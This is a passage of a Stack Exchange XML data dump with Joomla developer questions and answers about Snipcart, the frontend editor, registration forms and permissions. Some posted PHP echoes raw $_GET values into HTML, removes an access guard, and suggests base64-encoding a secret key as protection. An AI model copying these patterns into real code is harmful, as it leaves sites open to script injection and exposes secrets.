href=&quot;'.JRoute::_($menuItem-&amp;gt;link).'&quot;&amp;gt;'.$menuItem-&amp;gt;title.'&amp;lt;/a&amp;gt;';&#xA;  }&#xA;} else {&#xA;  echo 'No menu items.';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3944" LastEditorUserId="3944" LastEditDate="2016-02-03T08:53:18.020" LastActivityDate="2016-02-03T08:53:18.020" CommentCount="12" ContentLicense="CC BY-SA 3.0" />
  <row Id="15177" PostTypeId="1" AcceptedAnswerId="15189" CreationDate="2016-02-03T12:18:37.947" Score="4" ViewCount="883" Body="&lt;p&gt;I got a custom component which is actually an ajax search form.&#xA;Someone select some options and when he hit submit button i  want to load some products based on the selected criteria.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I includes the &lt;code&gt;js / css&lt;/code&gt; snipcart files needed inside my template's &lt;code&gt;index.php&lt;/code&gt; file and when I use the JS validation on snipcart's dashboard it says everything is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reading the &lt;a href=&quot;http://docs.snipcart.com/configuration/product-definition&quot;&gt;Snipcart's Doc &lt;/a&gt; i have to add the &lt;code&gt;data-item-url&lt;/code&gt; for each product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I started by setting : &lt;code&gt;data-item-url=&quot;http://mydomain.com/components/com_rouf/scripts/ajaxProducts.php&quot;&lt;/code&gt; ( this was the file that was performing the ajax call and printing the products )&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I tried to buy a product, on checkout tab I get this error:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Item B1-TEST has not been found at&#xA;  &lt;a href=&quot;http://mydomain.com/components/com_rouf/scripts/ajaxProducts.php&quot;&gt;http://mydomain.com/components/com_rouf/scripts/ajaxProducts.php&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Then i changed it to : &lt;code&gt;data-item-url=&quot;http://mydomain.com/index.php?option=com_rouf&quot;&lt;/code&gt; (the view file in which the html code was printed)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No result.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that i moved the &lt;code&gt;ajax file&lt;/code&gt; mechanism inside a new &lt;code&gt;view file&lt;/code&gt; and instead of &lt;code&gt;ajax call&lt;/code&gt; i used a &lt;code&gt;form&lt;/code&gt; to send the search options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;tried both &lt;code&gt;data-item-url=&quot;http://mydomain.com/index.php?option=com_rouf&amp;amp;view=rouf&amp;amp;layout=products.php&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AND &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;data-item-url=&quot;http://mydomain.com/components/com_rouf/views/rouf/tmpl/products.php&quot;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Same Error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After that i thought that for actually printing the html code of product so snipcart can crawl and find it in both the view and ajax file a &lt;code&gt;$_POST&lt;/code&gt; is mandatory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i created a new file &lt;code&gt;test.php&lt;/code&gt; printing ALL products.Ofc this is a retarded way and it is only for test purposes.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$db=JFactory::getDbo();&#xA;$query='SELECT * from `#__dash_sxoles_pricing` as a left join `#__dash_license_cat` as b on a.license_id=b.id left join `#__dash_sxoles` as c on a.sch_id = c.id  where 1';&#xA;$db-&amp;gt;setQuery($query);&#xA;$res=$db-&amp;gt;loadObjectList();&#xA;&#xA;foreach ($res as $row ) {&#xA;    $diplCode=$row-&amp;gt;code.'-'.$row-&amp;gt;name;&#xA;    echo '&#xA;&#xA;     &amp;lt;div&amp;gt;'.$row-&amp;gt;company.'&amp;lt;/div&amp;gt;&#xA;                &amp;lt;button type=&quot;button&quot; class=&quot;snipcart-add-item&quot;&#xA;             data-item-name=&quot;'.$diplCode.'&quot;&#xA;             data-item-price=&quot;'.$row-&amp;gt;price.'&quot;&#xA;             data-item-id=&quot;'.$row-&amp;gt;id.'-'.$row-&amp;gt;license_id.'&quot;&#xA;             data-item-url=&quot;http://mydomain.com/test.php&quot;&amp;gt;&#xA;              Add to cart&#xA;            &amp;lt;/button&amp;gt;&#xA;               &amp;lt;/div&amp;gt;&#xA;               ';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Didnt work either.&#xA;I allready sent an email @ snipcart but I didnt have a response.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone set snipcart before in Joomla!  ?&#xA;Am I completly missing something here or ?&lt;/p&gt;&#xA;" OwnerUserId="2225" LastActivityDate="2019-02-01T22:27:16.910" Title="How to properly setup Snipcart inside custom components" Tags="|joomla-3.x|component|development|e-commerce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15178" PostTypeId="1" CreationDate="2016-02-03T14:34:48.133" Score="2" ViewCount="3821" Body="&lt;p&gt;I'm running Joomla 3.4.8 and the Global Configuration page is showing without any layout or buttons. I have looked at the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;forum.joomla.org/viewtopic.php?f=624&amp;amp;t=690980&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but it doesn't seem to apply with 3.4.x.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also removed the last two extensions that were added, JCE and Phocagallery but that did not correct the issue. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;No other pages are being rendered incorrectly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any suggestions. -ch &lt;/p&gt;&#xA;" OwnerUserId="7738" LastActivityDate="2021-12-06T15:43:04.220" Title="Global Configuration page not showing correctly" Tags="|global-configuration|" AnswerCount="5" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15180" PostTypeId="2" ParentId="15177" CreationDate="2016-02-03T15:42:33.690" Score="2" Body="&lt;p&gt;The value in &lt;code&gt;data-item-url&lt;/code&gt; must be a URL where the actual buy button will be found. When looking at the source of the page specified in the &lt;code&gt;data-item-url&lt;/code&gt; attribute we must find the actual &lt;code&gt;snipcart-add-item&lt;/code&gt; button for the specific product.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like the solution you tried with the &lt;code&gt;test.php&lt;/code&gt; file could work. So maybe it's a problem with the domains setup.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We have an article in our Knowledge base that can be interesting:&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h1&gt;Invalid data-item-url&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;The most common reason is that the value specified in data-item-url is not valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before completing the order, Snipcart makes a HTTP request to the value specified in this attribute to make sure the price and other important information have not been altered by someone who knows how to use browser developer tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can read more about this in our documentation: &lt;a href=&quot;http://docs.snipcart.com/getting-started/security&quot; rel=&quot;nofollow&quot;&gt;http://docs.snipcart.com/getting-started/security&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The specified URL must be an URL where the snipcart buy button for the product will be available on the source of the page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Important notice: For users with a single-page website, the data-item-url field should be filled with only your basic domain name, such as www.example.com, or with a simple slash bar /.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Invalid domains setup&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Also, you need to allow on which domain and sub domains your products are available. If you log into the dashboard and go to Settings &gt; General you will be able to set your default domain name as well as the additional allowed domains and sub domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, if the data-item-url value is &lt;a href=&quot;http://test.mysite.com/products/1&quot; rel=&quot;nofollow&quot;&gt;http://test.mysite.com/products/1&lt;/a&gt; and your default domain is mysite.com it will fail. You will need to add test.mysite.com in the allowed sub domains.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want, you can also use relative URL (/products/1). But we will only validate the product in your default domain name. So in the example above, if the data-item-url value was /products/1 we would make the HTTP request to validate the information to &lt;a href=&quot;http://mysite.com/products/1&quot; rel=&quot;nofollow&quot;&gt;http://mysite.com/products/1&lt;/a&gt;﻿.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To specify a relative URL, the data-item-url value ﻿must starts with a /﻿.&lt;/p&gt;&#xA;" OwnerUserId="7258" LastActivityDate="2016-02-03T15:42:33.690" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15181" PostTypeId="1" AcceptedAnswerId="15262" CreationDate="2016-02-03T15:56:41.510" Score="5" ViewCount="513" Body="&lt;h2&gt;The Problem&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I'm trying to implement a functioning frontend editor within my Joomla template which has been developed in-house at my company. For the most part it works - a user can make basic text changes to articles and save their work. However, none of the editor-xtd buttons work correctly (article, image, page break, read more insertion). Specifically, they will navigate to a new browser window instead of opening as a modal popup, which means they fail to insert anything to the content being edited, as they are looking for a parent window that no longer exists.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;The Question&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;I need to figure out &lt;strong&gt;which parts of the core Joomla files are missing&lt;/strong&gt; from our template build so that we can incorporate them back in and allow users to add images from the frontend editor. In other words, &lt;strong&gt;what are the dependencies of the frontend editor?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Template background&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;The template uses Joomla version 3.4.6; we are using the TinyMCE frontend editor (all other editors have been disabled in the plugin manager). The template was developed in-house and has a lot of the core Joomla functionality deliberately stripped out. For example, this line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;jdoc:include type=&quot;head&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;is omitted in favour of writing our own head and parameter content. This is far from ideal, but not something I am at liberty to change. I have verified that if I switch our template to use Protostar or Beez3, the frontend editor works perfectly, including the editor-xtd buttons, complete with a working modal popup that allows for successfully adding images to articles. My leading theory on the problem is that we have stripped out something from core Joomla that the frontend editor needs.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;What I have tried so far&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;We started with the frontend editor not working at all. Adding these scripts to my template index file has &lt;strong&gt;improved&lt;/strong&gt; editor functionality:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;media/system/js/core.js&lt;/strong&gt; (enables the save/cancel buttons on the editor to work)&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;media/editors/tinymce/tinymce.min.js&lt;/strong&gt; (enables the 'toggle editor' button to work)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Adding these scripts to my template has &lt;strong&gt;seemingly no impact&lt;/strong&gt; on the broken editor-xtd functionality (ie. I still can't add an image to an article in the frontend editor):&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;media/system/js/mootools-core.js &lt;/li&gt;&#xA;&lt;li&gt;media/system/js/mootools-more.js&lt;/li&gt;&#xA;&lt;li&gt;media/system/js/mootree.js &lt;/li&gt;&#xA;&lt;li&gt;media/system/js/frontediting.js&lt;/li&gt;&#xA;&lt;li&gt;media/system/js/modal.js&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;h2&gt;Other research&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://forum.joomla.org/viewtopic.php?t=338659&quot; rel=&quot;nofollow noreferrer&quot;&gt;A similar problem to what I'm having is described here, but is from 2010 with no specified solution.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/8740610/how-to-insert-text-to-editor-programaticlly-in-joomla&quot;&gt;This question suggests the error originates from the 'editor' and not mootools, but I am using TinyMCE, and therefore the 'solution' presented here is unhelpful.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/18761094/joomla-insert-text-in-editor-through-a-plugin&quot;&gt;This question explains a bit more about how the jInsertEditorText method works but doesn't get me any further with figuring out which files I'm missing.&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How the image upload modal looks using protostar template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lxGgM.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lxGgM.png&quot; alt=&quot;Working image upload modal, using protostar&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;How the image upload modal looks using our template&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/DSzzX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/DSzzX.png&quot; alt=&quot;Broken image upload modal, loads as new window&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1527" LastEditorUserId="-1" LastEditDate="2017-05-23T12:38:51.907" LastActivityDate="2016-02-11T15:47:59.263" Title="What are the JS dependencies of the Joomla frontend editor?" Tags="|joomla-3.4|javascript|front-end|editor|tinymce|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15182" PostTypeId="1" CreationDate="2016-02-03T16:59:57.090" Score="2" ViewCount="2120" Body="&lt;p&gt;I've developed a plugin that allows me to create a custom user profile. It works and I'm able to add/remove fields as necessary.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The issue I'm facing is:  &lt;strong&gt;How do I remove and/or change the 'name' field in the registration form so that I can ask for first and last name separately?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because the users database has name in it I know that I can't just drop the filed. So, I was thinking it might be best to concat the first and last name into the 'name' field for entry into the database. However, when trying to implement this I ran into issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To remove the 'name' field from the registration form I added the following to the &lt;strong&gt;onContentPrepareForm()&lt;/strong&gt; function in my profile plugin:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;$form-&gt;removeField('name');&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This successfully removes the field. However, I now need to set name = first name + last name elsewhere. I've read on these forums that I could change the data in the &lt;strong&gt;onUserBeforeSave()&lt;/strong&gt; function. Unfortunately that is not called before I get a validation error message saying that registration failed and that I need to enter a name. I then tried to turn required off in the &lt;strong&gt;registration.xml&lt;/strong&gt; file. That didn't work (or I changed the wrong file).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then thought that perhaps I could put it in the &lt;strong&gt;onContentPrepareData()&lt;/strong&gt; function. The issue I ran into here is that 'name' was removed from the form and it's not in the $data array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What should I do? What is the proper way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for your assistance.&lt;/p&gt;&#xA;" OwnerUserId="7739" LastEditorUserId="7739" LastEditDate="2016-02-05T16:11:40.350" LastActivityDate="2017-01-05T15:53:46.080" Title="How do I remove and/or change the 'name' field in the registration form so that I can ask for first and last name separately?" Tags="|joomla-3.x|plugin|user|jform|registration|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15183" PostTypeId="1" CreationDate="2016-02-03T22:32:28.483" Score="1" ViewCount="271" Body="&lt;p&gt;I realize there are filter modules in the HikaShop extension - and they're almost what I'm looking for. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, I can't figure out how to apply those filters &lt;strong&gt;not&lt;/strong&gt; to the currently opened category but rather on all existing categories so that the results are a mixture from all categories where there have been results found.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I missing here? Any help much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="7741" LastActivityDate="2017-07-28T18:32:15.270" Title="Site Global Product Search with HikaShop" Tags="|hikashop|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15184" PostTypeId="2" ParentId="14987" CreationDate="2016-02-04T02:54:28.327" Score="1" Body="&lt;p&gt;This method of tagging images for licensing is the correct method of doing so. In most cases you are already wrapping your images in some type of block element as it is for styling etc, so adding the about attribute along with a license copy link is just another few seconds of code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What we be appreciated from a developers standpoint would be if you could have all of the images on your page (in a gallery for instance) tagged with the correct wrappers and a single license attribution link at the bottom of that page as a blanket for all of the images currently being viewed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your seconds question, keyword metas are a bit of a conundrum. OF the 3 major search engines (Google, Yahoo, and Bing) the following is a brief synopsis of their current stance on keyword metatags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google - does not use them&#xA;Yahoo - rarely uses them when no other SEO ranking factors can be found on the page&#xA;Bing - Uses them to very little extent that has a very low flagging factor in their ranking algorithm&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keyword stuffing in a meta tag can get your page devalued and marked as spam by Bing if it is found that the keywords trigger spam flags based on other page content&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the long run you are likely to do more harm than good by using them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-04T02:54:28.327" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15185" PostTypeId="2" ParentId="15181" CreationDate="2016-02-04T03:34:19.020" Score="2" Body="&lt;p&gt;If you are wanting to add in the additional editor features like images and whatnot there is more to it that just added the js files.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I would recommend using Joomla's native method of displaying the editor, this is gonna give you the best results and all of the features you want. It should also work with whatever your default current editor is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1) you need a layout for editing which I am assuming that you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2) you need to load the editor into your layout, using the following code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;`&amp;lt;?php`&#xA;$editor =&amp;amp; JFactory::getEditor();&#xA;$params = array(&#xA;    'smilies'=&amp;gt; '0' ,&#xA;    'style'  =&amp;gt; '1' ,  &#xA;    'layer'  =&amp;gt; '0' , &#xA;    'table'  =&amp;gt; '0' ,&#xA;    'clear_entities'=&amp;gt;'0'&#xA;);&#xA;echo $editor-&amp;gt;display('field_name','$field_content','600', '400', '20', '20', true, null, null, null, $params );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;?&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$field_content should be the content of your article, you will have to query this from the database. If you are using a layout for editing it is easy enough to query the data in your model and set it to a variable accessible from the edit layout like $this-&gt;content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wrap that up inside a nice form with a task that is set to your controller function for saving the data and boom.... do a happy dance.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastActivityDate="2016-02-04T03:34:19.020" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="15186" PostTypeId="2" ParentId="15154" CreationDate="2016-02-04T03:55:57.463" Score="3" Body="&lt;p&gt;Create a new php file (webapi.php) and save it to the root of your site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Add in the required files to access the Joomla Framework like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//ALLOW DIRECT ACCESS&#xA;define('_JEXEC', 1);&#xA;&#xA;require_once $_SERVER['DOCUMENT_ROOT'].'/includes/defines.php';&#xA;require_once $_SERVER['DOCUMENT_ROOT'].'/includes/framework.php';&#xA;&#xA;$app = JFactory::getApplication('site');&#xA;$app-&amp;gt;initialise();&#xA;&#xA;$JInput = JFactory::getApplication()-&amp;gt;input;&#xA;$secretKey = $JInput-&amp;gt;get('secretKey','','string');&#xA;$request_data = $JInput-&amp;gt;get('request','','array');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Using the Joomla Framework allows you access to everything already in your database, no need for an external framework to do what Joomla is already built to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For encryption:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have your mobile app pass a secret key and whatever other request data you may want to pass to query your database with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Write some simple validation that will check your secret key against your site. Or for that matter use the secret key in your config file if you wanted to even though I don't recommend that. You can base64_encode they key on the mobile apps end then decode it back on your end. Or better still, HASH the key on the mobile apps end using a secret key, the check the value of the hash against your private key on the server side.&lt;/p&gt;&#xA;" OwnerUserId="7730" LastEditorUserId="7730" LastEditDate="2017-05-10T18:48:39.360" LastActivityDate="2017-05-10T18:48:39.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15187" PostTypeId="1" CreationDate="2016-02-04T08:55:22.810" Score="0" ViewCount="130" Body="&lt;p&gt;I am using Joomla 3.4.3 and I am trying to give permissions to a specific group. I want this group to &lt;code&gt;Create/Edit/Delete&lt;/code&gt; articles in a specific category.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have created a group under &lt;code&gt;Registered&lt;/code&gt; users. Then in &lt;code&gt;System -&amp;gt; Global Configuration -&amp;gt; Permissions&lt;/code&gt; I am giving the permission of &lt;code&gt;Admin Login&lt;/code&gt;, &lt;code&gt;Access Administration Interface&lt;/code&gt;, etc. When I login as a user from this group in the upper menu I can only see the &lt;code&gt;SP Page Builder&lt;/code&gt; option.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I enable the &lt;code&gt;Content&lt;/code&gt; menu in order to have access (&lt;code&gt;Create/Edit/Delete&lt;/code&gt;) to the &lt;code&gt;Categories&lt;/code&gt; and &lt;code&gt;Articles&lt;/code&gt;? &lt;br&gt;I don't want to give &lt;code&gt;Manager&lt;/code&gt; permissions, because I want to give the less the permission I can.&lt;/p&gt;&#xA;" OwnerUserId="7742" LastEditorUserId="3650" LastEditDate="2016-03-06T21:18:42.633" LastActivityDate="2024-03-26T04:09:41.127" Title="Joomla 3 permissions setup" Tags="|joomla-3.x|permissions|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15188" PostTypeId="1" CreationDate="2016-02-04T10:36:44.140" Score="1" ViewCount="121" Body="&lt;p&gt;My configuration: four separated (multilingual) joomla websites in one webspace. One of the sites in the root and three URL redirects pointing to maps containing Joomla 3.x installations. Each site contains a JCE.&#xA;Only the editor in the site in the root functions flawlessly. The other three (redirected) show no icons and thus only raw HTML can be used. Tiny-MCE gives no problems. &#xA;No Java or CSS compression.&#xA;Can't find the solution to this problem, please help!  &lt;/p&gt;&#xA;" OwnerUserId="7744" LastActivityDate="2016-03-07T00:13:54.417" Title="JCE editor not working in URL redirected sites" Tags="|joomla-3.x|multilingual|redirect|jce|multi-sites|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15189" PostTypeId="2" ParentId="15177" CreationDate="2016-02-04T10:49:46.240" Score="3" Body="&lt;p&gt;Okay, I found the mistake. I needed to set the character encoding to &lt;code&gt;UTF-8&lt;/code&gt; at the external script, because the name values were getting converted to boxes and that caused value collisions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'll provide all of the steps that I did to achieve the final result.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Added the Javascript / CSS includes in the Header of template's index file&lt;/li&gt;&#xA;&lt;li&gt;At snipcarts Dashboard I validate that the includes are okay&lt;/li&gt;&#xA;&lt;li&gt;At snipcarts Dashboard I set the domain in which I'm going to use snipcart (you can't use it on localhost)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Now for dynamic creation of products (show products based on some terms) there are 2 ways :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set &lt;code&gt;data-item-url&lt;/code&gt; to an external script where you will print ALL products (LAME way)&lt;/li&gt;&#xA;&lt;li&gt;Set &lt;code&gt;data-item-url&lt;/code&gt; to the same file, but attach &lt;code&gt;$_SESSION vars&lt;/code&gt;, so that the products will get printed at the &lt;code&gt;HTTP REQUEST&lt;/code&gt; snipcart will do when someone checkouts.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For External Script:&lt;/strong&gt; You must set character encoding at UTF-8 &lt;code&gt;&amp;lt;?php header(&quot;Content-Type: text/html; charset=utf-8&quot;); ?&amp;gt;&lt;/code&gt; This will protect multibyte characters from being converted to boxes, and ensures that the item-name will be the same. I don't suggest this one because you have to NOT use &lt;code&gt;defined( '_JEXEC' ) or die( 'Restricted access' );&lt;/code&gt; on top of file, because snipcart http req will fail. So you will have a page with all your product's info open to everyone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;For Recalling the same file&lt;/strong&gt; : The &lt;code&gt;data-item-url&lt;/code&gt; should be something like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo 'data-item-url=&quot;http://domain.com/index.php?option=com_rouf&amp;amp;view=rouf&amp;amp;layout=products&amp;amp;loc='.$_GET[&quot;loc&quot;].'&amp;amp;lic='.$_GET[&quot;lic&quot;].'&quot;&amp;gt;';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only disadvantage is that I have to use &lt;code&gt;$_GET&lt;/code&gt; instead &lt;code&gt;$_POST&lt;/code&gt;, altough I don't pass any crucial data. (can't think of a way to achieve it with &lt;code&gt;$_POST&lt;/code&gt;. If someone could suggest something it would be awesome)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will post the php code I use for better explanation if someone struggle again in future:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA; //select the products base on location and type of products&#xA; $loc = $_GET['loc']; &#xA; $diploma = $_GET['lic']; &#xA;&#xA; $query=$db-&amp;gt;getQuery(true);&#xA; $query-&amp;gt;select('a.*')&#xA;       -&amp;gt;from($db-&amp;gt;quoteName('#__dash_sxoles', 'a'))&#xA;       -&amp;gt;join('LEFT',$db-&amp;gt;quoteName('#__dash_sxoles_pricing', 'b') . ' ON (' . $db-&amp;gt;quoteName('a.id') . ' = ' .$db-&amp;gt;qupteName('b.sch_id') .')')&#xA;       -&amp;gt;where('a.location='.$db-&amp;gt;quote($loc))&#xA;       -&amp;gt;where('b.license_id'.$db-&amp;gt;quote($diploma));&#xA;$db-&amp;gt;setQuery($query);&#xA;$src=$db-&amp;gt;loadObjectList();&#xA;&#xA;//print the data with data-url of each product recalling the same view file with $_GET params&#xA;&#xA;foreach ($src as $row) {&#xA;  echo '&#xA;  &amp;lt;div class=&quot;col-lg-3 &quot;&amp;gt;&#xA;  &amp;lt;div class=&quot;st-inner ajaxcontainer&quot; style=&quot;&quot;&amp;gt;&#xA;  &amp;lt;div&amp;gt;'.$row-&amp;gt;company.'&amp;lt;/div&amp;gt;&#xA;  &amp;lt;button type=&quot;button&quot; class=&quot;snipcart-add-item&quot;&#xA;  data-item-name=&quot;'.$diplCode.'&quot;&#xA;  data-item-price=&quot;'.$row-&amp;gt;price.'&quot;&#xA;  data-item-id=&quot;'.$row-&amp;gt;sch_id.'-'.$row-&amp;gt;license_id.'&quot;&#xA;  data-item-url=&quot;http://domain.com/index.php?option=com_rouf&amp;amp;view=rouf&amp;amp;layout=products&amp;amp;loc='.$_GET[&quot;loc&quot;].'&amp;amp;lic='.$_GET[&quot;lic&quot;].'&quot;&amp;gt;&#xA;    Add to cart&#xA; &amp;lt;/button&amp;gt;&#xA; &amp;lt;/div&amp;gt;&#xA; &amp;lt;/div&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT :&lt;/strong&gt; I found a better way, using &lt;code&gt;$_POST&lt;/code&gt; for form and &lt;code&gt;$_GET&lt;/code&gt; just for the snipcart's request.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loc = $_POST['loc'];&#xA;$diploma = $_POST['lic'];&#xA;if (isset($_GET['loc'], $_GET['lic'])) {&#xA;    $loc=$_GET['loc'];&#xA;    $diploma=$_GET['lic'];&#xA;    unset($_GET['loc']);&#xA;    unset($_GET['lic']);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2225" LastEditorUserId="12352" LastEditDate="2019-02-01T22:27:16.910" LastActivityDate="2019-02-01T22:27:16.910" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
